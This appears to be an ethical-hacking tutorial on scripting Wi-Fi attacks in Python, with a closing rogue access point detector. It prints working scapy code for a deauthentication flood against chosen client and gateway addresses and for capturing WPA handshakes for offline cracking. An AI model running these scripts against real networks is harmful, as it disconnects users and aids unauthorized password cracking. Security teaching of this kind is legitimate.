Scripting Wi-Fi Attacks in Python
Wi-Fi networks are ubiquitous in our modern, connected world. While they provide convenience and accessibility, they can also be vulnerable to various attacks if not properly secured. In this article, we’ll explore how to script Wi-Fi attacks using Python, focusing on ethical hacking techniques and tools that can be used to test and improve network security.
Prerequisites
Before we begin, make sure you have the following:
- A Linux-based operating system (preferably Kali Linux)
- Python 3.x installed
- Wireless network adapter capable of monitor mode
- Necessary Python libraries (scapy, pyopenssl, pycryptodome, etc.)
Setting Up the Environment
First, let’s set up our wireless adapter in monitor mode using the pyric
library, which provides a Python interface for wireless NIC operations:
import pyric.pyw as pyw
def set_monitor_mode(interface):
card = pyw.getcard(interface)
pyw.down(card)
pyw.modeset(card, 'monitor')
pyw.up(card)
print(f"Interface {interface} set to monitor mode")
# Usage
set_monitor_mode("wlan0")
This script uses the pyric
library to configure the wireless interface for monitor mode, avoiding the use of shell commands.
Scanning for Wi-Fi Networks
Now that our adapter is in monitor mode, let’s scan for nearby Wi-Fi networks using the scapy
library:
from scapy.all import *
from concurrent.futures import ThreadPoolExecutor
import time
def scan_networks(interface, timeout=60):
networks = set()
def packet_handler(pkt):
if pkt.haslayer(Dot11Beacon):
bssid = pkt[Dot11].addr2
ssid = pkt[Dot11Elt].info.decode(errors='ignore')
try:
channel = int(ord(pkt[Dot11Elt:3].info))
except:
channel = 0
crypto = []
cap = pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}")
if re.search("privacy", cap):
crypto.append("WEP")
if pkt.haslayer(Dot11EltRSN):
crypto.append("WPA2")
elif pkt.haslayer(Dot11Elt) and pkt[Dot11Elt].ID == 221 and pkt[Dot11Elt].info.startswith(b'\x00P\xf2\x01\x01\x00'):
crypto.append("WPA")
if not crypto:
crypto.append("OPN")
networks.add((bssid, ssid, channel, ' / '.join(crypto)))
def channel_hopper(interface):
for i in range(1, 14):
try:
pyw.chset(pyw.getcard(interface), i)
time.sleep(0.5)
except:
pass
with ThreadPoolExecutor(max_workers=2) as executor:
executor.submit(channel_hopper, interface)
sniff(iface=interface, prn=packet_handler, timeout=timeout)
for bssid, ssid, channel, crypto in sorted(networks, key=lambda x: x[1]):
print(f"BSSID: {bssid}, SSID: {ssid}, Channel: {channel}, Encryption: {crypto}")
# Usage
scan_networks("wlan0")
This enhanced script not only captures basic network information but also determines the encryption type and uses channel hopping to scan across all Wi-Fi channels.
Deauthentication Attack
A deauthentication attack can be used to disconnect clients from a Wi-Fi network. Here’s an improved implementation:
from scapy.all import *
from threading import Thread
import time
def deauth_attack(target_mac, gateway_mac, interface, count=None):
def deauth_thread():
packet = RadioTap() / Dot11(type=0, subtype=12, addr1=target_mac, addr2=gateway_mac, addr3=gateway_mac) / Dot11Deauth(reason=7)
while True:
sendp(packet, iface=interface, verbose=False)
if count is not None:
nonlocal sent_count
sent_count += 1
if sent_count >= count:
break
sent_count = 0
thread = Thread(target=deauth_thread)
thread.start()
try:
while count is None or sent_count < count:
time.sleep(1)
print(f"Sent {sent_count} deauthentication packets", end='\r')
except KeyboardInterrupt:
pass
finally:
if count is None:
thread.join(timeout=1)
print(f"\nTotal sent: {sent_count} deauthentication packets")
# Usage
deauth_attack("11:22:33:44:55:66", "AA:BB:CC:DD:EE:FF", "wlan0", count=100)
This script runs the deauthentication attack in a separate thread, allowing for continuous operation or a specified packet count.
WPA/WPA2 Handshake Capture
For WPA/WPA2 networks, capturing the 4-way handshake is crucial for offline cracking attempts. Here’s an improved implementation:
from scapy.all import *
import pyric.pyw as pyw
import time
from threading import Thread
def capture_wpa_handshake(interface, bssid, channel, timeout=300):
handshake_packets = []
def packet_handler(pkt):
if pkt.haslayer(EAPOL):
handshake_packets.append(pkt)
print(f"Captured EAPOL packet: {len(handshake_packets)}")
if len(handshake_packets) >= 4:
return True
def channel_hopper(interface):
while True:
try:
pyw.chset(pyw.getcard(interface), channel)
time.sleep(1)
except:
pass
hopper = Thread(target=channel_hopper, args=(interface,))
hopper.daemon = True
hopper.start()
print(f"Listening for WPA handshake on channel {channel}...")
sniff(iface=interface, prn=packet_handler, timeout=timeout, stop_filter=lambda x: len(handshake_packets) >= 4)
if len(handshake_packets) >= 4:
print("Complete WPA handshake captured!")
else:
print(f"Captured {len(handshake_packets)} EAPOL packets")
return handshake_packets
# Usage
handshake = capture_wpa_handshake("wlan0", "AA:BB:CC:DD:EE:FF", 6)
This script captures EAPOL packets, which contain the WPA/WPA2 handshake information, while maintaining the correct channel.
Real-life Example: Detecting Rogue Access Points
Here’s a practical example of how to detect potential rogue access points in a corporate environment:
from scapy.all import *
import sqlite3
from datetime import datetime
def initialize_db():
conn = sqlite3.connect('known_aps.db')
c = conn.cursor()
c.execute('''CREATE TABLE IF NOT EXISTS access_points
(bssid TEXT PRIMARY KEY, ssid TEXT, channel INTEGER, first_seen TEXT, last_seen TEXT)''')
conn.commit()
return conn
def update_ap(conn, bssid, ssid, channel):
c = conn.cursor()
now = datetime.now().isoformat()
c.execute("INSERT OR REPLACE INTO access_points (bssid, ssid, channel, first_seen, last_seen) VALUES (?, ?, ?, COALESCE((SELECT first_seen FROM access_points WHERE bssid = ?), ?), ?)",
(bssid, ssid, channel, bssid, now, now))
conn.commit()
def detect_rogue_aps(interface, known_ssids, scan_time=300):
conn = initialize_db()
def packet_handler(pkt):
if pkt.haslayer(Dot11Beacon):
bssid = pkt[Dot11].addr2
ssid = pkt[Dot11Elt].info.decode(errors='ignore')
try:
channel = int(ord(pkt[Dot11Elt:3].info))
except:
channel = 0
update_ap(conn, bssid, ssid, channel)
if ssid in known_ssids:
print(f"Detected known SSID: {ssid} (BSSID: {bssid}, Channel: {channel})")
else:
print(f"WARNING: Possible rogue AP detected - SSID: {ssid}, BSSID: {bssid}, Channel: {channel}")
print(f"Scanning for {scan_time} seconds...")
sniff(iface=interface, prn=packet_handler, timeout=scan_time)
conn.close()
print("Scan complete. Check the database for full results.")
# Usage
known_ssids = ["CorporateWiFi", "GuestNetwork"]
detect_rogue_aps("wlan0", known_ssids)
This script scans for Wi-Fi networks, records them in a SQLite database, and alerts on potential rogue access points that are broadcasting SSIDs not in the list of known networks. It’s a useful tool for network administrators to maintain awareness of the wireless environment and detect unauthorized access points.
Conclusion
We’ve explored various Wi-Fi attack and defense techniques that can be scripted using Python. It’s crucial to remember that these tools should only be used for ethical purposes, such as testing your own networks or with explicit permission.
Here’s a flowchart summarizing the typical process of Wi-Fi security assessment:
graph TD A[Set up monitor mode] --> B[Scan for networks] B --> C{Analyze networks} C -->|Unknown SSID| D[Investigate potential rogue AP] C -->|Known SSID| E[Verify AP legitimacy] E -->|Suspicious| F[Capture handshake] E -->|Legitimate| G[Document in inventory] F --> H[Offline analysis] D --> I[Alert security team] H --> J[Update security policies] I --> J G --> K[Continuous monitoring]
Remember, the goal of ethical hacking is to identify and address security vulnerabilities, not to exploit them maliciously. Always prioritize responsible disclosure and obtaining proper authorization before conducting any security assessments.
For more detailed information on Wi-Fi security research, refer to the following resources: